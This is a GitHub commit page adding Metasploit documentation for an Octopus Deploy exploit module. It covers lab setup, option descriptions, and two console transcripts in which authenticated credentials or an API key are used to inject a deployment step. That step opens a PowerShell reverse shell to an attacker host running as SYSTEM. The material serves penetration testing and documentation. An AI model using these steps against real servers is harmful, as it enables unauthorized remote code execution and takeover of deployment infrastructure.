Skip to content

Commit a0585dc

Browse files
committed
Land rapid7#8872 docs for octopusdeploy_deploy
2 parents 031f487 + 7f8e6b8 commit a0585dc

File tree

1 file changed

+145
-0
lines changed

1 file changed

+145
-0
lines changed
Lines changed: 145 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,145 @@
1+
## Vulnerable Application
2+
3+
[Install Octopus Deploy server](https://octopus.com/docs/getting-started#Gettingstarted-InstalltheOctopusserver)
4+
5+
[Create a test user/team](https://octopus.com/docs/administration/managing-users-and-teams) - Team should have "Project contributor" and "Project deployer", or just "System administrator" and add your test user.
6+
7+
[Create an API key](https://octopus.com/docs/how-to/how-to-create-an-api-key)
8+
9+
## Verification Steps
10+
11+
1. Install the application
12+
2. Start msfconsole
13+
3. Do: ```use exploit/windows/http/octopusdeploy_deploy```
14+
4. Do: set ```PATH```, ```RHOST```, ```RPORT```, and ```SSL``` if needed
15+
5. Do: set ```STEPNAME``` if desired
16+
6. Do: set ```USERNAME``` and ```PASSWORD``` or just ```APIKEY```
17+
7. Do: ```run```
18+
8. You should get a shell.
19+
20+
## Options
21+
22+
**APIKEY**
23+
24+
API key, which can be generated within the Octopus Deploy application. Can be used instead of a username/password combination.
25+
26+
**USERNAME**
27+
28+
Username of the Octopus Deploy user.
29+
30+
**PASSWORD**
31+
32+
Password of the Octopus Deploy user.
33+
34+
**PATH**
35+
36+
Path to the Octopus Deploy instance. For example, if you sign in to "https://example.com/octopus/app", the value should be "/octopus".
37+
38+
**STEPNAME**
39+
40+
Name of the step to be added to a deployment. This may be visible in the application for a short period of time. A random value will be generated if no value is provided.
41+
42+
**SSL**
43+
44+
Enables or disables SSL. Octopus Deploy server can be configured to listen for HTTP or HTTPS traffic.
45+
## Scenarios
46+
47+
### Octopus Deploy Server 3.16.0
48+
49+
Getting a privileged shell on Octopus Deploy server using administrative credentials.
50+
51+
```
52+
msf > use exploit/windows/http/octopusdeploy_deploy
53+
msf exploit(octopusdeploy_deploy) > set PATH /octoADTest
54+
PATH => /octoADTest
55+
msf exploit(octopusdeploy_deploy) > set USERNAME ODUser
56+
USERNAME => ODUser
57+
msf exploit(octopusdeploy_deploy) > set PASSWORD Password1
58+
PASSWORD => Password1
59+
msf exploit(octopusdeploy_deploy) > set RHOST 10.0.0.12
60+
RHOST => 10.0.0.12
61+
msf exploit(octopusdeploy_deploy) > set RPORT 80
62+
RPORT => 80
63+
msf exploit(octopusdeploy_deploy) > set payload windows/powershell_reverse_tcp
64+
payload => windows/powershell_reverse_tcp
65+
msf exploit(octopusdeploy_deploy) > set LHOST 10.0.0.7
66+
LHOST => 10.0.0.7
67+
msf exploit(octopusdeploy_deploy) > run
68+
69+
[*] Started reverse SSL handler on 10.0.0.7:4444
70+
[*] Getting available projects
71+
[*] Using project TestProject2
72+
[*] Getting steps to TestProject2
73+
[*] Adding step r4XAJc to TestProject2
74+
[*] Getting available channels
75+
[*] Using channel Default
76+
[*] Getting next version
77+
[*] Using version 0.0.2
78+
[*] Creating release
79+
[*] Release Releases-79 created
80+
[*] Deploying TestProject2 version 0.0.2 to TestEnv
81+
[*] Getting updated steps to TestProject2
82+
[*] Deleting step r4XAJc from TestProject2
83+
[*] Step r4XAJc deleted
84+
[*] Powershell session session 1 opened (10.0.0.7:4444 -> 10.0.0.12:59346) at 2017-05-15 19:54:01 -0500
85+
86+
Windows PowerShell running as user WIN-OL1HR5KBTPD$ on WIN-OL1HR5KBTPD
87+
Copyright (C) 2015 Microsoft Corporation. All rights reserved.
88+
89+
PS C:\Octopus\ADTest\Work\20170516025358-22>whoami
90+
nt authority\system
91+
PS C:\Octopus\ADTest\Work\20170516025358-22> exit
92+
93+
[*] 10.0.0.12 - Powershell session session 1 closed. Reason: Died from Errno::ECONNRESET
94+
95+
msf exploit(octopusdeploy_deploy) >
96+
```
97+
98+
Getting a privileged shell on Octopus Deploy server using a sufficiently privileged API key.
99+
100+
```
101+
msf > use exploit/windows/http/octopusdeploy_deploy
102+
msf exploit(octopusdeploy_deploy) > set PATH /octoADTest
103+
PATH => /octoADTest
104+
msf exploit(octopusdeploy_deploy) > set RHOST 10.0.0.12
105+
RHOST => 10.0.0.12
106+
msf exploit(octopusdeploy_deploy) > set RPORT 80
107+
RPORT => 80
108+
msf exploit(octopusdeploy_deploy) > set payload windows/powershell_reverse_tcp
109+
payload => windows/powershell_reverse_tcp
110+
msf exploit(octopusdeploy_deploy) > set LHOST 10.0.0.7
111+
LHOST => 10.0.0.7
112+
msf exploit(octopusdeploy_deploy) > set APIKEY API-FCIQ773M43RKNC4I9KZHQTABC
113+
APIKEY => API-FCIQ773M43RKNC4I9KZHQTABC
114+
msf exploit(octopusdeploy_deploy) > set STEPNAME shell
115+
STEPNAME => shell
116+
msf exploit(octopusdeploy_deploy) > run
117+
118+
[*] Started reverse SSL handler on 10.0.0.7:4444
119+
[*] Getting available projects
120+
[*] Using project TestProject2
121+
[*] Getting steps to TestProject2
122+
[*] Adding step shell to TestProject2
123+
[*] Getting available channels
124+
[*] Using channel Default
125+
[*] Getting next version
126+
[*] Using version 0.0.3
127+
[*] Creating release
128+
[*] Release Releases-80 created
129+
[*] Deploying TestProject2 version 0.0.3 to TestEnv
130+
[*] Getting updated steps to TestProject2
131+
[*] Deleting step shell from TestProject2
132+
[*] Step shell deleted
133+
[*] Powershell session session 1 opened (10.0.0.7:4444 -> 10.0.0.12:59373) at 2017-05-15 19:59:55 -0500
134+
135+
Windows PowerShell running as user WIN-OL1HR5KBTPD$ on WIN-OL1HR5KBTPD
136+
Copyright (C) 2015 Microsoft Corporation. All rights reserved.
137+
138+
PS C:\Octopus\ADTest\Work\20170516025952-24>whoami
139+
nt authority\system
140+
PS C:\Octopus\ADTest\Work\20170516025952-24> exit
141+
142+
[*] 10.0.0.12 - Powershell session session 1 closed. Reason: Died from Errno::ECONNRESET
143+
144+
msf exploit(octopusdeploy_deploy) >
145+
```

0 commit comments

Comments
 (0)